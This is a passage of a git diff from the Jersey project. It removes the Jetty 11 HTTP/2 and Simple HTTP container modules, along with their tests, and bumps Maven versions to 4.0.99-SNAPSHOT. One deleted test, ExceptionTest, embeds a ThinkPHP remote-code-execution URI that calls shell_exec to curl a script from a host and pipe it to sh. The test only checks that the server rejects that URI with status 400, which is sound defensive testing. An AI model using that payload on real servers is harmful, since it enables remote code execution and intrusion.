-         * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
-         */
-        final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
-
-        /**
-         * adding connection factories for H2/H2C protocol
-         */
-        for (final ConnectionFactory factory : factories) {
-            httpServerConnector.addConnectionFactory(factory);
-        }
-        server.setConnectors(new Connector[]{httpServerConnector});
-
-        /**
-         * Starting the server if required
-         */
-        if (start) {
-            try {
-                // Start the server.
-                server.start();
-            } catch (final Exception e) {
-                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
-            }
-        }
-        return server;
-    }
-
-    private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
-                                                                  final SslContextFactory.Server sslContextFactory) {
-        final List<ConnectionFactory> factories = new ArrayList<>();
-        if (sslContextFactory != null) {
-            factories.add(new HTTP2ServerConnectionFactory(config));
-            final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
-            alpn.setDefaultProtocol("h2");
-            factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
-            factories.add(alpn);
-        } else {
-            factories.add(new HTTP2CServerConnectionFactory(config));
-        }
-
-        return factories;
-    }
-}
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
deleted file mode 100644
index edc461e..0000000
--- a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.Jetty11HttpContainer;
-import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.spi.ContainerProvider;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-
-import static org.glassfish.jersey.jetty.Jetty11HttpContainerProvider.HANDLER_NAME;
-
-public final class Jetty11Http2ContainerProvider implements ContainerProvider {
-
-    @Override
-    public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || Jetty11HttpContainer.class == type)) {
-            return type.cast(new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, application));
-        }
-        return null;
-    }
-}
-
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
deleted file mode 100644
index a402b27..0000000
--- a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey Jetty HTTP2 container classes.
- */
-package org.glassfish.jersey.jetty.http2;
diff --git a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
deleted file mode 100644
index 2cd5dda..0000000
--- a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerProvider
diff --git a/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
deleted file mode 100644
index ba290bd..0000000
--- a/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-error.when.creating.server=Exception thrown when trying to create jetty server.
-not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
deleted file mode 100644
index 1911add..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import java.net.URI;
-import java.security.AccessController;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.eclipse.jetty.server.Server;
-import org.junit.jupiter.api.AfterEach;
-
-/**
- * Abstract Jetty Server unit tester.
- *
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Miroslav Fuksa
- */
-public abstract class AbstractJetty11ServerTester {
-
-    private static final Logger LOGGER = Logger.getLogger(AbstractJetty11ServerTester.class.getName());
-
-    public static final String CONTEXT = "";
-    private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
-
-    /**
-     * Get the port to be used for test application deployments.
-     *
-     * @return The HTTP port of the URI
-     */
-    protected final int getPort() {
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-
-            try {
-                final int i = Integer.parseInt(value);
-                if (i <= 0) {
-                    throw new NumberFormatException("Value not positive.");
-                }
-                return i;
-            } catch (NumberFormatException e) {
-                LOGGER.log(Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid positive integer [" + value + "]."
-                                + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-        return DEFAULT_PORT;
-    }
-
-    private final int getPort(RuntimeType runtimeType) {
-        switch (runtimeType) {
-            case SERVER:
-                return getPort();
-            case CLIENT:
-                return server.getURI().getPort();
-            default:
-                throw new IllegalStateException("Unexpected runtime type");
-        }
-    }
-
-    private volatile Server server;
-
-    public UriBuilder getUri() {
-        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
-    }
-
-    public void startServer(Class... resources) {
-        ResourceConfig config = new ResourceConfig(resources);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final URI baseUri = getBaseUri();
-        server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
-        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
-    }
-
-    public void startServer(ResourceConfig config) {
-        final URI baseUri = getBaseUri();
-        server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
-        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
-    }
-
-    public URI getBaseUri() {
-        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
-    }
-
-    public void stopServer() {
-        try {
-            server.stop();
-            server = null;
-            LOGGER.log(Level.INFO, "Jetty-http server stopped.");
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    @AfterEach
-    public void tearDown() {
-        if (server != null) {
-            stopServer();
-        }
-    }
-}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
deleted file mode 100644
index 0a3774b..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Michal Gajdos
- */
-public class AsyncTest extends AbstractJetty11ServerTester {
-
-    @Path("/async")
-    @SuppressWarnings("VoidMethodAnnotatedWithGET")
-    public static class AsyncResource {
-
-        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
-
-        @GET
-        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(5000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(final AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
-                            .build());
-                }
-            });
-            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(7000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("multiple-invocations")
-        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
-            INVOCATION_COUNT.incrementAndGet();
-
-            new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    asyncResponse.resume("OK");
-                }
-            }).start();
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServer(AsyncResource.class);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-    @Test
-    public void testAsyncGet() throws ExecutionException, InterruptedException {
-        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-        // get() waits for the response
-        assertEquals("DONE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
-        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-
-    /**
-     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
-     */
-    @Test
-    public void testAsyncMultipleInvocations() throws Exception {
-        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
-
-        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
-
-        assertThat(response.getStatus(), is(200));
-        assertThat(response.readEntity(String.class), is("OK"));
-    }
-}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
deleted file mode 100644
index 6f0ad22..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.apache.http.HttpHost;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.message.BasicHttpRequest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.PathParam;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import java.io.IOException;
-import java.net.URI;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- */
-public class ExceptionTest extends AbstractJetty11ServerTester {
-    @Path("{status}")
-    public static class ExceptionResource {
-        @GET
-        public String get(@PathParam("status") int status) {
-            throw new WebApplicationException(status);
-        }
-
-    }
-
-    @Test
-    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
-        startServer(ExceptionResource.class);
-        URI testUri = getUri().build();
-        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
-                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
-                + ".0.1/ldr.sh|sh";
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
-        CloseableHttpClient client = HttpClientBuilder.create().build();
-
-        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
-
-        assertEquals(400, response.getStatusLine().getStatusCode());
-    }
-
-    @Test
-    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
-        startServer(ExceptionResource.class);
-        URI testUri = getUri().build();
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
-        request.addHeader("X-Forwarded-Host", "_foo.com");
-        CloseableHttpClient client = HttpClientBuilder.create().build();
-
-        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
-
-        assertEquals(400, response.getStatusLine().getStatusCode());
-    }
-
-    @Test
-    public void test400StatusCode() throws IOException {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("400").build());
-        assertEquals(400, r.request().get(Response.class).getStatus());
-    }
-
-    @Test
-    public void test500StatusCode() {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("500").build());
-
-        assertEquals(500, r.request().get(Response.class).getStatus());
-    }
-}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
deleted file mode 100644
index 517d6e2..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
-import org.glassfish.jersey.server.spi.Container;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Reload and ContainerLifecycleListener support test.
- *
- * @author Paul Sandoz
- * @author Marek Potociar
- */
-public class LifecycleListenerTest extends AbstractJetty11ServerTester {
-
-    @Path("/one")
-    public static class One {
-        @GET
-        public String get() {
-            return "one";
-        }
-    }
-
-    @Path("/two")
-    public static class Two {
-        @GET
-        public String get() {
-            return "two";
-        }
-    }
-
-    public static class Reloader extends AbstractContainerLifecycleListener {
-        Container container;
-
-        public void reload(ResourceConfig newConfig) {
-            container.reload(newConfig);
-        }
-
-        public void reload() {
-            container.reload();
-        }
-
-        @Override
-        public void onStartup(Container container) {
-            this.container = container;
-        }
-
-    }
-
-    @Test
-    public void testReload() {
-        final ResourceConfig rc = new ResourceConfig(One.class);
-
-        Reloader reloader = new Reloader();
-        rc.registerInstances(reloader);
-
-        startServer(rc);
-
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("/").build());
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
-
-        // add Two resource
-        reloader.reload(new ResourceConfig(One.class, Two.class));
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals("two", r.path("two").request().get(String.class));
-    }
-
-    static class StartStopListener extends AbstractContainerLifecycleListener {
-        volatile boolean started;
-        volatile boolean stopped;
-
-        @Override
-        public void onStartup(Container container) {
-            started = true;
-        }
-
-        @Override
-        public void onShutdown(Container container) {
-            stopped = true;
-        }
-    }
-
-    @Test
-    public void testStartupShutdownHooks() {
-        final StartStopListener listener = new StartStopListener();
-
-        startServer(new ResourceConfig(One.class).register(listener));
-
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("/").build());
-
-        assertThat(r.path("one").request().get(String.class), equalTo("one"));
-        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
-
-        stopServer();
-
-        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
-        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
-    }
-}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
deleted file mode 100644
index d5b7cc5..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class OptionsTest extends AbstractJetty11ServerTester {
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        startServer(HelloWorldResource.class);
-        Client client = ClientBuilder.newClient();
-        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(0, response.getLength());
-        assertEquals("foo/bar", response.getMediaType().toString());
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-}
diff --git a/containers/netty-http/pom.xml b/containers/netty-http/pom.xml
index c5f9e09..53acc6d 100644
--- a/containers/netty-http/pom.xml
+++ b/containers/netty-http/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-netty-http</artifactId>
diff --git a/containers/pom.xml b/containers/pom.xml
index ccedd36..5d490c9 100644
--- a/containers/pom.xml
+++ b/containers/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.containers</groupId>
@@ -40,12 +40,10 @@
         <module>jdk-http</module>
         <module>jersey-servlet-core</module>
         <module>jersey-servlet</module>
-        <module>jetty11-http</module>
         <module>jetty-http</module>
         <module>jetty-http2</module>
         <module>jetty-servlet</module>
         <module>netty-http</module>
-        <module>simple-http</module>
     </modules>
 
     <dependencies>
diff --git a/containers/simple-http/pom.xml b/containers/simple-http/pom.xml
deleted file mode 100644
index a9c256b..0000000
--- a/containers/simple-http/pom.xml
+++ /dev/null
@@ -1,86 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.containers</groupId>
-        <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-container-simple-http</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-container-simple-http</name>
-
-    <description>Simple Http Container</description>
-
-    <dependencies>
-        <dependency>
-            <groupId>jakarta.inject</groupId>
-            <artifactId>jakarta.inject-api</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.simpleframework</groupId>
-            <artifactId>simple-http</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.simpleframework</groupId>
-            <artifactId>simple-transport</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.simpleframework</groupId>
-            <artifactId>simple-common</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.hamcrest</groupId>
-            <artifactId>hamcrest</artifactId>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-        </plugins>
-
-        <resources>
-            <resource>
-                <directory>${basedir}/src/main/resources</directory>
-                <filtering>true</filtering>
-            </resource>
-        </resources>
-    </build>
-
-</project>
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
deleted file mode 100644
index 6298cf3..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
+++ /dev/null
@@ -1,479 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.reflect.Type;
-import java.net.URI;
-import java.net.URISyntaxException;
-import java.security.Principal;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.ScheduledExecutorService;
-import java.util.concurrent.ScheduledFuture;
-import java.util.concurrent.ScheduledThreadPoolExecutor;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
